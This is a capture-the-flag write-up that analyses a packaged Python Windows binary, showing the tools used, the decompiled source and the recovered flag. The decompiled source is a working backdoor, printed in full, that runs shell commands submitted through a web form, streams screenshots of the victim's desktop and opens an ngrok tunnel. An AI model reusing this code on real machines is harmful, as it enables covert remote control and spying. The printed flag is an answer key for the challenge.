Snakeoil

Snakeoil #

Challenge: One of our workstations was exhibiting strange network communications… we found this binary that looked to be the culprit. Can you find anything suspicious?

shanna@ubuntu:~/Downloads$ file snake-oil 
snake-oil: PE32+ executable (console) x86-64, for MS Windows

OK so its a PE32+ executable so I will take a look at it in PEStudio to learn some more about it.

snake-oil in PEStudio 9.55

shanna@ubuntu:~/Downloads$ /home/shanna/.local/bin/floss -n 10 snake-oil | grep python
INFO: floss: extracting static strings...
finding decoding function features: 100%|███████████████████████████████████████| 662/662 [00:00<00:00, 3179.33 functions/s, skipped 462 library functions (69%)]
INFO: floss.stackstrings: extracting stackstrings from 171 functions
extracting stackstrings: 100%|████████████████████████████████████████████████████████████████████████████████████████| 171/171 [00:00<00:00, 203.07 functions/s]
INFO: floss.tightstrings: extracting tightstrings from 23 functions...
extracting tightstrings from function 0x14001c374: 100%|█████████████████████████████████████████████████████████████████| 23/23 [00:00<00:00, 39.46 functions/s]
INFO: floss.string_decoder: decoding strings
INFO: floss.results: Failed to decode wchar_t from UTF-8                                                                                                         
INFO: floss.results: Failed to get wchar_t buffer size.                                                                                                          
INFO: floss.results: Failed to get w                                                                                                                             
emulating function 0x140002c00 (call 2/2): 100%|█████████████████████████████████████████████████████████████████████████| 24/24 [00:02<00:00,  9.13 functions/s]
INFO: floss: finished execution after 15.75 seconds
bpython39.dll
'python39.dll

Now that we know it is a packaged Python executable, we can extract the compiled python code (pyc) and then decompile it with decompyle++ (pycdc).

shanna@ubuntu:~/Downloads/pyinstxtractor$ python3.9 pyinstxtractor.py ../snake-oil 
[+] Processing ../snake-oil
[+] Pyinstaller version: 2.1+
[+] Python version: 3.9
[+] Length of package: 13435879 bytes
[+] Found 963 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth__tkinter.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: brain-melt.pyc
[+] Successfully extracted pyinstaller archive: ../snake-oil

shanna@ubuntu:~/Downloads$ sudo snap install pycdc
pycdc 2023.10.19 from Khiem Doan (khiemdoan) installed
shanna@ubuntu:~/Downloads$ pycdc pyinstxtractor/snake-oil_extracted/brain-melt.pyc 

# Source Generated with Decompyle++
# File: brain-melt.pyc (Python 3.9)

Unsupported opcode: RERAISE
from flask import Flask, flash, request, render_template_string, send_file, redirect
from wtforms import Form, TextField, validators, StringField, SubmitField
import subprocess
import pyautogui
import io
import sys
from PIL import Image
from pyngrok import ngrok
import base64
DEBUG = True
app = Flask(__name__)
app.config['SECRET_KEY'] = '9EQrXQ88pwP7UWaXbkmThhKuDdYxsad1'

def decrypt(s1, s2):
    return ''.join((lambda .0: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in .0 ])(zip(s1, s2)))


def deobfuscate():
    part1 = '2ec7627d{galf'[::-1]
    part2 = str(base64.b64decode('NjIwM2I1Y2M2OWY0'.encode('ascii')), 'UTF8')
    part3 = decrypt('\x17*\x07`BC\x14*R@\x14^*', 'uKeVuzwIexplW')
    key = part1 + part2 + part3
    return key


def ngrok_tunnel():
    ngrok.set_auth_token(deobfuscate())
    http_tunnel = ngrok.connect(5000, 'http', '-log=stdout > NUL')


def Desktop(pil_img):
    img_io = io.BytesIO()
    pil_img.save(img_io, 'JPEG', 70, **('quality',))
    img_io.seek(0)
    return send_file(img_io, 'image/jpeg', **('mimetype',))


def execute(cmd):
    child = subprocess.Popen(cmd, True, subprocess.PIPE, subprocess.PIPE, **('shell', 'stdout', 'stderr'))
    for line in child.stdout:
        print(line)
        l = line.decode('utf-8', 'ignore', **('encoding', 'errors'))
        flash(l)
    for line in child.stderr:
        l = line.decode('utf-8', 'ignore', **('encoding', 'errors'))
        flash(l)


class CommandForm(Form):
    command = TextField('Command:', [
        validators.required()], **('validators',))
    
    def display():
        form = CommandForm(request.form)
        print(form.errors)
        if request.method == 'POST':
            command = request.form['command']
        if form.validate() and request.method == 'POST':
            result = execute(command)
            flash(result)
        else:
            flash('Please enter a command.')
        return render_template_string('<!doctype html>\n                <html>\n                    <head>\n                        <link rel="stylesheet" href="css url"/>\n                            </head>\n                                <body>\n                                    <form action="" method="post" role="form">\n                                        <div class="form-group">\n                                              <label for="Command">Command:</label>\n                                              <input type="text" class="form-control" id="command" name="command"></div>\n                                              <button type="submit" class="btn btn-success">Submit</button>\n                                              </form>\n                                            {% for message in get_flashed_messages() %}\n                                            <p>{{ message }}</p>\n                                            {% endfor %}\n                                            <img src="/images/desktop.jpg" id="img" width="100%" scrolling="yes" style="height: 100vh;"></iframe>\n                                </body>\n                            \n                            {% block javascript %}\n                            <script type="text/javascript">\n                            window.onload = function() {\n                                var image = document.getElementById("img");\n\n                                function updateImage() {\n                                    image.src = image.src.split("?")[0] + "?" + new Date().getTime();\n                                }\n\n                                setInterval(updateImage, 1000);\n                            }\n                            </script>\n                            {% endblock %}\n                            </html>\n                        ', form, **('form',))

    display = app.route('/', [
        'GET',
        'POST'], **('methods',))(display)


def serve_img():
    screenshot = pyautogui.screenshot()
    return Desktop(screenshot)

serve_img = app.route('/images/desktop.jpg')(serve_img)
# WARNING: Decompyle incomplete

Then I copied the first 2 functions to a new file brain-melt.py

import base64
DEBUG = True
app = Flask(__name__)
app.config['SECRET_KEY'] = '9EQrXQ88pwP7UWaXbkmThhKuDdYxsad1'

def decrypt(s1, s2):
    return ''.join((lambda .0: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in .0 ])(zip(s1, s2)))


def deobfuscate():
    part1 = '2ec7627d{galf'[::-1]
    part2 = str(base64.b64decode('NjIwM2I1Y2M2OWY0'.encode('ascii')), 'UTF8')
    part3 = decrypt('\x17*\x07`BC\x14*R@\x14^*', 'uKeVuzwIexplW')
    key = part1 + part2 + part3
    return key

I removed what was not needed, and added a print function, i needed to also update the lamba function and change .0 to x

import base64

def decrypt(s1, s2):
    return ''.join((lambda x: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in x ])(zip(s1, s2)))
    
def deobfuscate():
    part1 = '2ec7627d{galf'[::-1]
    part2 = str(base64.b64decode('NjIwM2I1Y2M2OWY0'.encode('ascii')), 'UTF8')
    part3 = decrypt('\x17*\x07`BC\x14*R@\x14^*', 'uKeVuzwIexplW')
    key = part1 + part2 + part3
    return key

print(deobfuscate())
shanna@ubuntu:~/Downloads$ python3.9 brain-melt.py 
  File "/home/shanna/Downloads/brain-melt.py", line 7
    return ''.join((lambda .0: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in .0 ])(zip(s1, s2)))
                           ^
SyntaxError: invalid syntax

shanna@ubuntu:~/Downloads$ python3.9 brain-melt.py 
  File "/home/shanna/Downloads/brain-melt.py", line 7
    return ''.join((lambda 0: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in 0 ])(zip(s1, s2)))
                           ^
SyntaxError: invalid syntax
shanna@ubuntu:~/Downloads$ python3.9 brain-melt.py 
flag{d7267ce26203b5cc69f4bab679cc78d2}
Flag
flag{d7267ce26203b5cc69f4bab679cc78d2}